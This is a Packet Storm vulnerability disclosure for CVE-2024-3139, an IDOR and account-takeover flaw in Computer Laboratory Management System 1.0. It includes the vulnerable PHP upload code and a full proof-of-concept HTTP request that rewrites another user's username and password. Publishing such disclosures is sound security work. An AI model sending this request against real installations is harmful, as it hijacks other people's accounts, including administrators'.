what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Computer Laboratory Management System 1.0 Insecure Direct Object Reference

Computer Laboratory Management System 1.0 Insecure Direct Object Reference
Posted Apr 2, 2024
Authored by SoSPiro

Computer Laboratory Management System version 1.0 suffers from an insecure direct object reference vulnerability.

tags | exploit
advisories | CVE-2024-3139
SHA-256 | b5f987918b9d2242034cb3cfce143ca22eb5711d723578856d21b0e5fbbf07e5

Computer Laboratory Management System 1.0 Insecure Direct Object Reference

Change Mirror Download
#Vulnerability Details:
#Application Name: Computer Laboratory Management System
#Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html
#Vendor Homepage: https://www.sourcecodester.com/users/tips23
#BuG: Insecure Direct Object References (IDOR) and Account Takeover
#BuG_Author: SoSPiro
#CVE: CVE-2024-3139

# Vulnerable code section:

if(!empty($_FILES['img']['tmp_name'])){
if(!is_dir(base_app."uploads/avatars"))
mkdir(base_app."uploads/avatars");
$ext = pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION);
$fname = "uploads/avatars/$id.png"; // The $id value is directly used in the file path
// Rest of the code
}


# Vulnerability Description:

This vulnerability exists in the section of code responsible for handling file uploads. The $id variable, obtained from user input ($_POST), is utilized directly in constructing the file path without appropriate validation or authorization checks, leading to both IDOR and account takeover vulnerabilities. This allows an attacker to manipulate the $id parameter to access and modify files of other users, including administrators.



# Proof of Concept (PoC):

- Poc Video : https://drive.google.com/file/d/1P0Vg_sYM9S43_rJTe1l5E2Vt9gzvb0YX/view?usp=sharing


- Request:

POST /php-lms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------38244968796537297751592545024
Content-Length: 8393
Origin: http://localhost
Connection: close
Referer: http://localhost/php-lms/admin/?page=user
Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-PwnFox-Color: green

-----------------------------38244968796537297751592545024
Content-Disposition: form-data; name="id"

7
-----------------------------38244968796537297751592545024
Content-Disposition: form-data; name="firstname"

testtt
-----------------------------38244968796537297751592545024
Content-Disposition: form-data; name="middlename"

testMiddle
-----------------------------38244968796537297751592545024
Content-Disposition: form-data; name="lastname"

te Last Name
-----------------------------38244968796537297751592545024
Content-Disposition: form-data; name="username"

admin2
-----------------------------38244968796537297751592545024
Content-Disposition: form-data; name="password"

qwe123
-----------------------------38244968796537297751592545024
Content-Disposition: form-data; name="img"; filename="hack.png"
Content-Type: image/png

PNG
...

- Response:


HTTP/1.1 200 OK
Date: Mon, 01 Apr 2024 10:19:19 GMT
Server: Apache/2.4.54 (Win64) PHP/8.2.0 mod_fcgid/2.3.10-dev
X-Powered-By: PHP/8.2.0
X-Xdebug-Profile-Filename: c:/wamp64/tmp\trace.localhost.1711966759.10780.cgrind
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

1


# Impact:

This vulnerability allows attackers to access and modify user data and profile pictures, leading to potential phishing, distribution of malicious content, and reputational damage. Additionally, unauthorized access to administrator accounts can occur, resulting in the compromise of sensitive information. This poses a significant risk to the security and usability of the application.



# Reproduce:

https://github.com/Sospiro014/zday1/blob/main/idor%2Baccaunt_takeover.md
https://vuldb.com/?id.258914
https://www.cve.org/CVERecord?id=CVE-2024-3139



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close